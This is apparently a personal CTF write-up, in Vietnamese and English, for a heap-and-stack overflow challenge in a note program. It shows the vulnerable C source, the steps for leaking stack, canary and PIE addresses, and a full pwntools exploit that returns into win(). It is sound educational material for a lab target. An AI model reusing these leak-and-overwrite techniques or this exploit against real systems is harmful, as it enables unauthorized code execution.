PWN1
December 13, 2025
•
December 12, 2025
•
Medium
Setup
Đầu tiên mình setup docker, copy libc, ld, patch binary:
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public$ chmod +x ./run.sh
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public$ chmod +x service/warmup
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public$ ./run.shngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public$ nc 0 9001
NOTE PROGRAM
1.Create new note
2.Update note
3.View note
Your choice :ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public/service$ docker cp 6806:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /home/ngtuonghung/ctfs/vcs_passport_2024/pwn1/public/service/.
ngtuonghung@ngtuonghung-pc:~/ctfs/vcs_passport_2024/pwn1/public/service$ docker cp 6806:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Recon
Mitigation

Source Code
typedef struct Note
{
int id;
char owner[20];
char *date;
char *state;
char *message;
struct Note *next;
} Note;int update_note()
{
int update_id = -1;
char buffer[30];
Note *tmp;
if (head == NULL)
return ERROR_INVALID_HEAD;
printf("Enter note ID :");
update_id = getInt();
if (update_id == -1)
return ERROR_INVALID_ID;
for (tmp = head; tmp && tmp->id != update_id; tmp = tmp->next)
;
if (tmp == NULL || tmp->id != update_id)
return ERROR_INVALID_ID;
// update options
printf("\nUpdate options: \n1.Update Owner\n2.Update message\n3.Update state\n");
int l = 0;
printf("Your choice :");
char c = getchoice();
switch (c)
{
case UPDATE_OWNER:
printf("Enter new name owner :");
fgets(buffer, MAX_MESSAGE, stdin); // stack overflow
l = strlen(buffer);
memcpy(&tmp->owner, buffer, l); // heap overflow
break;
case UPDATE_MESSAGE:
printf("Enter new message :");
fgets(buffer, MAX_MESSAGE, stdin); // stack overflow
l = strlen(buffer);
if (tmp->message)
free(tmp->message);
tmp->message = malloc(l);
if (tmp->message == NULL)
{
logErr(ERROR_MALLOC_FAIL);
exit(0);
}
memcpy(tmp->message, buffer, l);
break;buffer chỉ có kích thước 30 byte, nhưng cho phép fgets đến MAX_MESSAGE = 200 bytes -> stack overflow, sau đó được copy vào buffer owner trong heap -> heap buffer overflow.
Solve
Trước hết mình lợi dụng heap buffer overflow để leak địa chỉ date, là biến trên stack được khởi tạo ở hàm main():
int main()
{
init();
char c;
Note *tmp;
head = NULL;
id = 0;
time_t t;
time(&t);
char date[100];
snprintf(date, 100, "%s", ctime(&t));Sau khi leak được địa chỉ stack, mình lại heap overflow ghi đè địa chỉ date thành địa chỉ + offset đến nơi chứa canary, gọi view note để leak canary. Tiếp tục overflow ghi đè địa chỉ date đến nơi chứa một địa chỉ binary -> bypass PIE.
Cuối cùng stack buffer overflow để ghi đè return address đến win().
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("warmup_patched", checksec=False)
libc = ELF("libc.so.6", checksec=False)
ld = ELF("ld-linux-x86-64.so.2", checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
pa = lambda t, addr: print(f'{t}: {hex(addr)}')
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
gdbscript = '''
b *update_note+307
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "localhost"
port = 9001
return remote(host, port)
p = conn()
def create_note(owner, message):
slan(p, b'choice', 1)
sla(p, b'owner', owner)
sla(p, b'message', message)
def update_note(id, option, data):
slan(p, b'choice', 2)
slan(p, b'note ID', id)
slan(p, b'choice', option)
if option==1:
sla(p, b'new name owner', data)
else:
sla(p, b'new message', data)
def view_note():
slan(p, b'choice', 3)
create_note(b'note1', b'A')
create_note(b'note2', b'A') # Tránh message của note1 bị merge vào top chunk sau khi free
# Leak stack address
update_note(0, 1, b'A' * 19)
view_note()
ru(p, b'A' * 19 + b'\n')
stack_addr = leak_bytes(rn(p, 6))
pa("stack", stack_addr)
canary_addr = stack_addr + 0x138
pa("canary at", canary_addr)
# Leak canary
update_note(0, 1, flat(
b'A' * 20,
canary_addr + 1, # vì canary có byte đầu là null
b'\0'
))
view_note()
ru(p, b'run at : ')
canary = u64(b'\0' + rn(p, 7))
pa("canary", canary)
# Leak binary
binary_addr = stack_addr + 0x168
pa("binary at", binary_addr)
update_note(0, 1, flat(
b'A' * 20,
binary_addr,
b'\0'
))
view_note()
ru(p, b'run at : ')
binary = leak_bytes(rn(p, 6), 0x1801)
pa("binary", binary)
win = binary + 0x1443
pa("win", win)
# overwrite return address
update_note(0, 1, flat(
b'A' * 8 * 5,
canary,
stack_addr,
binary + 0x1311, # gadget for stack alignment
win
))
ia(p)